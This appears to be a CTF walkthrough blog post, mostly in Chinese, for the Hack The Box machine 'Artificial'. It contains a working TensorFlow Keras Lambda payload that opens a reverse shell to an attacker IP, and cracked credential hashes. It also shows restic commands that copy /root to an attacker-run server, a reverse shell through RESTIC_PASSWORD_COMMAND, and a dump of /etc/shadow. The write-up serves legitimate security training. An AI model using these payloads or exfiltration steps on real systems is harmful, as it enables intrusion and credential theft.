Artificial

TelBo_on published on
4 min, 669 words

Categories: OSCP

Recon

Ports

rustscan -a 10.129.97.235 -r 20-20000 
.----. .-. .-. .----..---.  .----. .---.   .--.  .-. .-.
| {}  }| { } |{ {__ {_   _}{ {__  /  ___} / {} \ |  `| |
| .-. \| {_} |.-._} } | |  .-._} }\     }/  /\  \| |\  |
`-' `-'`-----'`----'  `-'  `----'  `---' `-'  `-'`-' `-'
The Modern Day Port Scanner.
________________________________________
: http://discord.skerritt.blog         :
: https://github.com/RustScan/RustScan :
 --------------------------------------
TreadStone was here 🚀

[~] The config file is expected to be at "/home/xz/.rustscan.toml"
[!] File limit is lower than default batch size. Consider upping with --ulimit. May cause harm to sensitive servers
[!] Your file limit is very small, which negatively impacts RustScan's speed. Use the Docker image, or up the Ulimit with '--ulimit 5000'. 
Open 10.129.97.235:22
Open 10.129.97.235:80

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.13 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   3072 7c:e4:8d:84:c5:de:91:3a:5a:2b:9d:34:ed:d6:99:17 (RSA)
|   256 83:46:2d:cf:73:6d:28:6f:11:d5:1d:b4:88:20:d6:7c (ECDSA)
|_  256 e3:18:2e:3b:40:61:b4:59:87:e8:4a:29:24:0f:6a:fc (ED25519)
80/tcp open  http    nginx 1.18.0 (Ubuntu)
|_http-title: Did not follow redirect to http://artificial.htb/
|_http-server-header: nginx/1.18.0 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 20.10 seconds



nmap -sU -F -T3 artificial.htb                                   
Starting Nmap 7.95 ( https://nmap.org ) at 2025-06-23 14:01 CST
Stats: 0:01:04 elapsed; 0 hosts completed (1 up), 1 undergoing UDP Scan
UDP Scan Timing: About 72.50% done; ETC: 14:02 (0:00:25 remaining)
Nmap scan report for artificial.htb (10.129.97.235)
Host is up (0.29s latency).                                         
Not shown: 99 closed udp ports (port-unreach)
PORT   STATE         SERVICE                                        
68/udp open|filtered dhcpc                                          

Nmap done: 1 IP address (1 host up) scanned in 107.16 seconds

开放80端口 进行子域名爆破

 gobuster vhost -u http://artificial.htb/ --append-domain -w /usr/share/wordlists/seclists/Discovery/DNS/subdomains-top1million-5000.txt                                                                                          
===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:             http://artificial.htb/
[+] Method:          GET
[+] Threads:         10
[+] Wordlist:        /usr/share/wordlists/seclists/Discovery/DNS/subdomains-top1million-5000.txt
[+] User Agent:      gobuster/3.6
[+] Timeout:         10s
[+] Append Domain:   true
===============================================================
Starting gobuster in VHOST enumeration mode
===============================================================
Progress: 4989 / 4990 (99.98%)
===============================================================
Finished
===============================================================

目录扫描

 dirsearch -u http://artificial.htb/                   
/usr/lib/python3/dist-packages/dirsearch/dirsearch.py:23: DeprecationWarning: pkg_resources is deprecated as an API. See https://setuptools.pypa.io/en/latest/pkg_resources.html
  from pkg_resources import DistributionNotFound, VersionConflict

  _|. _ _  _  _  _ _|_    v0.4.3
 (_||| _) (/_(_|| (_| )

Extensions: php, aspx, jsp, html, js | HTTP method: GET | Threads: 25 | Wordlist size: 11460

Target: http://artificial.htb/

[19:03:31] Starting: 
[19:04:36] 302 -  199B  - /dashboard  ->  /login
[19:04:59] 200 -  857B  - /login
[19:05:00] 302 -  189B  - /logout  ->  /
[19:05:22] 200 -  952B  - /register

无特殊信息。 创建账号登陆后发现存在一个上传功能点,仅支持上传.h5文件。且提示需要python TensorFlow库或者使用docker环境进行模型创建。 这里我使用TensorFlow库,但由于TensorFlow库最高支持python 3.9。而kali对python的更新是最新版本,到目前为止为3.13。 使用pyenv搭建虚拟环境。

pyenv virtualenv 3.9.12 py-3.9
pyenv activate py-3.9
pip install  tensorflow

搜索tensorflow相关信息。我发现了这个链接tensorflow的RCE,构造payload并上传。 获得了初始webshell。

import tensorflow as tf

def exploit(x):
    import os
    os.system("/bin/bash-c '/bin/sh -i >& /dev/tcp/10.10.14.15/4444 0>&1'")
    return x

model = tf.keras.Sequential()   //
model.add(tf.keras.layers.Input(shape=(64,)))
model.add(tf.keras.layers.Lambda(exploit))
model.compile()
model.save("exploit.h5")

User

在用户app下发现

cd /home/app/app/instance

app@artificial:~/app/instance$ sqlite3 users.db 
Enter ".help" for usage hints.
sqlite> select * from user;
1|gael|gael@artificial.htb|c99175974b6e192936d97224638a34f8
2|mark|mark@artificial.htb|0f3d8c76530022670f1c6029eed09ccb
3|robert|robert@artificial.htb|b606c5f5136170f15444251665638b36
4|royer|royer@artificial.htb|bc25b1f80f544c0ab451c02a3dca9fc6
5|mary|mary@artificial.htb|bf041041e57f1aff3be7ea1abd6129d0
6|notthei0204|notthei0204@gmail.com|f0f1f60430a59e920764a7b1be6041fc
7|test123@gmail.com|test123@gmail.com|9a93efa79aa9f5d35e14bc55a3e16dc4
8|n|n@n.com|7b8b965ad4bca0e41ab51de7b31363a1
9|test|test@email.com|098f6bcd4621d373cade4e832627b4f6
10|dd|dd@gmail.com|827ccb0eea8a706c4c34a16891f84e7b

hash解密后得到凭据gael:mattp005numbertwo。ssh登录。 发现本地开放端口情况:存在9898端口。

ss -antlp
State                       Recv-Q                      Send-Q                                           Local Address:Port                                             Peer Address:Port                      Process                      
LISTEN                      0                           511                                                    0.0.0.0:80                                                    0.0.0.0:*                                                      
LISTEN                      0                           4096                                             127.0.0.53%lo:53                                                    0.0.0.0:*                                                      
LISTEN                      0                           128                                                    0.0.0.0:22                                                    0.0.0.0:*                                                      
LISTEN                      0                           2048                                                 127.0.0.1:5000                                                  0.0.0.0:*                                                      
LISTEN                      0                           4096                                                 127.0.0.1:9898                                                  0.0.0.0:*                                                      
LISTEN                      0                           511                                                       [::]:80                                                       [::]:*                                                      
LISTEN                      0                           128                                                       [::]:22                                                       [::]:* 

将端口代理出来: `ssh -fN -L 9898:127.0.0.1:9898 gael@artificial.htb 存在服务backrest 版本号为1.7.2。未发现存在历史漏洞。在本地搜索相关文件。

gael@artificial:~$ find / -name backrest -type d  2>/dev/null 
/opt/backrest
/opt/backrest/.config/backrest

这是restic服务的web ui实现,实现备份服务。也许在某个地方会存在归档文件? 不出意料

gael@artificial:/var/backups$ ls -al
total 51228
drwxr-xr-x  2 root root       4096 Jun 24 10:49 .
drwxr-xr-x 13 root root       4096 Jun  2 07:38 ..
-rw-r--r--  1 root root      38602 Jun  9 10:48 apt.extended_states.0
-rw-r--r--  1 root root       4253 Jun  9 09:02 apt.extended_states.1.gz
-rw-r--r--  1 root root       4206 Jun  2 07:42 apt.extended_states.2.gz
-rw-r--r--  1 root root       4190 May 27 13:07 apt.extended_states.3.gz
-rw-r--r--  1 root root       4383 Oct 27  2024 apt.extended_states.4.gz
-rw-r--r--  1 root root       4379 Oct 19  2024 apt.extended_states.5.gz
-rw-r--r--  1 root root       4367 Oct 14  2024 apt.extended_states.6.gz
-rw-r-----  1 root sysadm 52357120 Mar  4 22:19 backrest_backup.tar.gz

发现了backrest_backup.tar.gz文件,下载下来。解压

file ./backup.tar.gz 
./backup.tar.gz: POSIX tar archive (GNU)


tar -xvf ./backup.tar.gz 
backrest/
backrest/restic
backrest/oplog.sqlite-wal
backrest/oplog.sqlite-shm
backrest/.config/
backrest/.config/backrest/
backrest/.config/backrest/config.json
backrest/oplog.sqlite.lock
backrest/backrest
backrest/tasklogs/
backrest/tasklogs/logs.sqlite-shm
backrest/tasklogs/.inprogress/
backrest/tasklogs/logs.sqlite-wal
backrest/tasklogs/logs.sqlite
backrest/oplog.sqlite
backrest/jwt-secret
backrest/processlogs/
backrest/processlogs/backrest.log
backrest/install.sh


cat  backrest/.config/backrest/config.json 
{
  "modno": 2,
  "version": 4,
  "instance": "Artificial",
  "auth": {
    "disabled": false,
    "users": [
      {
        "name": "backrest_root",
        "passwordBcrypt": "JDJhJDEwJGNWR0l5OVZNWFFkMGdNNWdpbkNtamVpMmtaUi9BQ01Na1Nzc3BiUnV0WVA1OEVCWnovMFFP"
      }
    ]
  }
}

采用的Bcrypt算法,base64解码后使用hashcat解密

 echo 'JDJhJDEwJGNWR0l5OVZNWFFkMGdNNWdpbkNtamVpMmtaUi9BQ01Na1Nzc3BiUnV0WVA1OEVCWnovMFFP' | base64 -d 
$2a$10$cVGIy9VMXQd0gM5ginCmjei2kZR/ACMMkSsspbRutYP58EBZz/0QO

hashcat -a 0 -m 3200 '$2a$10$cVGIy9VMXQd0gM5ginCmjei2kZR/ACMMkSsspbRutYP58EBZz/0QO'  /usr/share/wordlists/rockyou.txt

得到:backrest_root:!@#$%^。登录系统。

Root

这里我发现了两个方法,

  1. 创建一个存储库后可运行命令 结合GTFObins,可以备份/root目录文件到本地。
### 本地执行
./rest-server --no-auth --listen :4000 --path /tmp/restic                          
Data directory: /tmp/restic                                                        
Authentication disabled                                                           
Append only mode disabled                                                          
Private repositories disabled                                                      
Group accessible repos disabled                                                    
start server on [::]:4000                                                          
Creating repository directories in /tmp/restic/restic  
restic restore -r "/tmp/restic/restic" latest --target ./data

### 目标执行
(restic) init -r "rest:http://10.10.14.15:4000/restic"
(restic) backup -r "rest:http://10.10.14.15:4000/restic" "/root"

### 本地执行
##检查是否备份到本地
restic snapshots  -r /tmp/restic/restic
enter password for repository: 
repository d0696809 opened (version 2, compression level auto)
ID        Time                 Host        Tags        Paths  Size
-----------------------------------------------------------------------
fccdc983  2025-06-24 23:44:06  artificial              /root  4.300 MiB
-----------------------------------------------------------------------
1 snapshots

restic restore -r "/tmp/restic/restic" latest --target ./data
//拷贝成功
 ls  -al
total 60
drwx------  11 kalier kalier 4096 Jun 24 23:40 .
drwxrwxr-x   4 kalier kalier 4096 Jun 24 23:51 ..
lrwxrwxrwx   1 kalier kalier    9 Jun  9 17:37 .bash_history -> /dev/null
-rw-r--r--   1 kalier kalier 3106 Dec  5  2019 .bashrc
drwxr-xr-x   3 kalier kalier 4096 Mar  4 05:52 .cache
drwxr-xr-x   3 kalier kalier 4096 Oct 19  2024 .local
-rw-r--r--   1 kalier kalier  161 Dec  5  2019 .profile
lrwxrwxrwx   1 kalier kalier    9 Oct 19  2024 .python_history -> /dev/null
drwx------   2 kalier kalier 4096 Mar  5 06:40 .ssh
-r--------   1 kalier kalier  155 Jun 24 23:40 config
drwx------ 258 kalier kalier 4096 Jun 24 23:40 data
drwx------   2 kalier kalier 4096 Jun 24 23:40 index
drwx------   2 kalier kalier 4096 Jun 24 23:40 keys
drwx------   2 kalier kalier 4096 Jun 24 23:40 locks
-rw-r-----   1 kalier kalier   33 Jun 24 17:56 root.txt
drwxr-xr-x   2 kalier kalier 4096 Jun  9 21:57 scripts
drwx------   2 kalier kalier 4096 Jun 24 23:40 snapshots
  1. 滥用环境变量 这里我们不设置密码时要求我们设置这三个变量之一。其中的RESTIC_PASSWORD_COMMAND或许可以执行任意命令?可以进行尝试。 直接填入revshell命令
$ sudo rlwrap nc -lvnp 4444
listening on [any] 4444 ...
connect to [10.10.14.15] from (UNKNOWN) [10.129.98.230] 49666
bash: cannot set terminal process group (4646): Inappropriate ioctl for device
bash: no job control in this shell
root@artificial:/# whoami
whoami
root
root@artificial:/# 

相同的我在GitHub readme界面也发现了相同的一个BACKREST_RESTIC_COMMAND 进行尝试后,我发现RESTIC_PASSWORD_COMMAND能够进行执行任意命令,它是Restic 备份工具的一个环境变量,用于动态获取备份仓库的密码,而不是直接将密码硬编码在脚本或配置文件中。这种方式可以提高安全性,尤其适合自动化备份场景。 3. 利用系统本身特性,设置脚本执行时间为最短(等一个小时)。也可以拿到/root路径下的文件。

root@artificial:/# cat /root/root.txt
cat /root/root.txt
ac42518afd7d951fc8aba1168ea4b1da
root@artificial:/# cat /etc/shadow
cat /etc/shadow
root:$6$UUrrHE6LTPdhmLil$v9nJaHljuUC0gR5HBAqVWvnDVgYoNYE6EvjIEGNykwadZ8w8gOu212j5bipzK72.nBtx/0h4z4CPki/Ac2f1i1:20015:0:99999:7:::
daemon:*:19430:0:99999:7:::
bin:*:19430:0:99999:7:::
sys:*:19430:0:99999:7:::
sync:*:19430:0:99999:7:::
games:*:19430:0:99999:7:::
man:*:19430:0:99999:7:::
lp:*:19430:0:99999:7:::
mail:*:19430:0:99999:7:::
news:*:19430:0:99999:7:::
uucp:*:19430:0:99999:7:::
proxy:*:19430:0:99999:7:::
www-data:*:19430:0:99999:7:::
backup:*:19430:0:99999:7:::
list:*:19430:0:99999:7:::
irc:*:19430:0:99999:7:::
gnats:*:19430:0:99999:7:::
nobody:*:19430:0:99999:7:::
systemd-network:*:19430:0:99999:7:::
systemd-resolve:*:19430:0:99999:7:::
systemd-timesync:*:19430:0:99999:7:::
messagebus:*:19430:0:99999:7:::
syslog:*:19430:0:99999:7:::
_apt:*:19430:0:99999:7:::
tss:*:19430:0:99999:7:::
uuidd:*:19430:0:99999:7:::
tcpdump:*:19430:0:99999:7:::
landscape:*:19430:0:99999:7:::
pollinate:*:19430:0:99999:7:::
fwupd-refresh:*:19430:0:99999:7:::
usbmux:*:19971:0:99999:7:::
sshd:*:19971:0:99999:7:::
systemd-coredump:!!:19973::::::
gael:$6$ZgkOwXDgoK.yOfv9$7gGQcVFbMepHAPCW.qS/1z87V5p15x4RokWKwNvFXqwo3QLEfFx2GaJs1JqbZ81i/uLy7bJ8TYk4dQYXQpeEC0:20015:0:99999:7:::
lxd:!:19973::::::
app:$6$1CKnP41b8QhfYnAx$b88.zZJfVQ84SBkePAyzIsXdA/w6wvUVq4c2ExOho0RIY8iS43bdJbBPHYdttqqNvBV.H6noc2EFkdBlbb5WL.:20015:0:99999:7:::
mysql:!:19975:0:99999:7:::
_laurel:!:20248::::::

Summary

easy靶机,通过一个大模型python库的RCE获得初始立足点,然后通过备份文件获取到系统的凭据信息。再通过对Restic的sudo权限滥用或者backrest的环境变量滥用获得root权限。